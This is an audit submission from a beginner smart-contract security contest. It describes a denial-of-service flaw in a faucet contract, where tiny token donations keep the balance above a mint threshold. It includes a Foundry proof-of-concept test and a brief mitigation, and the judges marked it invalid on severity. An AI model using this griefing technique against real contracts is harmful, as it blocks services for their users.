Raisebox Faucet

First Flight #50
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Impact: high
Likelihood: high
Invalid

DOS --> An attacker can keep contract balance slightly above threshold via transfer, permanently blocking minting

Root + Impact

Description

mintFaucetTokens allows only the owner to mint faucet tokens to the faucet contract itself, but it reverts whenever the contract’s ERC20 balance is greater than 1000 tokens.

Because anyone can transfer ERC20 tokens directly to the faucet contract (i.e., “donate” tokens), an attacker can keep the faucet’s balance just above 1000e18 (e.g., 1000e18 + 1 wei) and permanently prevent the owner from minting more tokens to refill the faucet. This denies service to future claimers once the faucet runs low.

function mintFaucetTokens(address to, uint256 amount) public onlyOwner {
if (to != address(this)) {
revert RaiseBoxFaucet_MiningToNonContractAddressFailed();
}
if (balanceOf(address(to)) > 1000 * 10 ** 18) { <@ Attacker can force this true
revert RaiseBoxFaucet_FaucetNotOutOfTokens();
}
_mint(to, amount);
emit MintedNewFaucetTokens(to, amount);
}

Risk

Likelihood:

  • Once the faucet’s balance dips near ~1000e18 (a realistic operational state), any user can send a tiny amount of tokens to keep it above the threshold.

  • The attacker can repeat this cheap “keep-alive” transfer indefinitely (no privileges required).

Impact:

  • Owner cannot mint more faucet tokens; new users can’t claim when the contract runs out.

  • Requires owner contract changes or emergency procedures to restore normal operations (example: burn tokens in order to mint again).

Proof of Concept

Paste this test function in your test file and run:

forge test -mt test_DoS_MintBlockedByTinyTransfer-vvvv

function test_DoS_MintBlockedByTinyTransfer() public {
// --- Step 1: Give user1 some faucet tokens so they can donate 1 token later
vm.startPrank(user1);
raiseBoxFaucet.claimFaucetTokens(); // user1 now has 1000e18
vm.stopPrank();
// --- Step 2: Owner empties faucet token balance (to simulate depletion)
// IMPORTANT: burnFaucetTokens expects a token amount, not ETH balance.
uint256 contractTokenBal = raiseBoxFaucet.getFaucetTotalSupply(); // token balance of faucet
vm.startPrank(owner);
raiseBoxFaucet.burnFaucetTokens(contractTokenBal); // this (buggily) transfers all to owner then burns amount
// --- Step 3: Owner refills faucet with the MIN threshold: exactly 1000 tokens
raiseBoxFaucet.mintFaucetTokens(address(raiseBoxFaucet), 1000 * 10 ** 18);
vm.stopPrank();
// --- Step 4: Attacker donates 1 token to faucet, pushing it just above the 1000 threshold
vm.startPrank(user1);
raiseBoxFaucet.transfer(address(raiseBoxFaucet), 1e18); // donate 1 token
vm.stopPrank();
// --- Step 5: Owner now tries to mint more, but the contract’s flawed check reverts
// because balanceOf(this) > 1000e18 (now 1001e18), so minting is blocked (DoS).
vm.startPrank(owner);
vm.expectRevert(RaiseBoxFaucet.RaiseBoxFaucet_FaucetNotOutOfTokens.selector);
raiseBoxFaucet.mintFaucetTokens(address(raiseBoxFaucet), 1);
vm.stopPrank();
// --- Step 6: One user can still claim (there are 1001e18 tokens: enough for 1 x 1000e18 drip)
vm.startPrank(user2);
raiseBoxFaucet.claimFaucetTokens(); // leaves ~1e18 token in faucet
vm.stopPrank();
// --- Step 7: Next user cannot claim anymore because owner mint is blocked and balance < drip
vm.startPrank(user3);
vm.expectRevert(RaiseBoxFaucet.RaiseBoxFaucet_InsufficientContractBalance.selector);
raiseBoxFaucet.claimFaucetTokens();
vm.stopPrank();
}

Recommended Mitigation

Track a claim pool that represents only the tokens the faucet is allowed to dispense, and track donations separately. Then base all logic on the claim pool instead of raw balanceOf.

+ uint256 public claimPool; // tokens available for faucet claims
+ uint256 public donationPool; // tokens sent in by users (not for claims)
Updates

Lead Judging Commences

inallhonesty Lead Judge 6 days ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.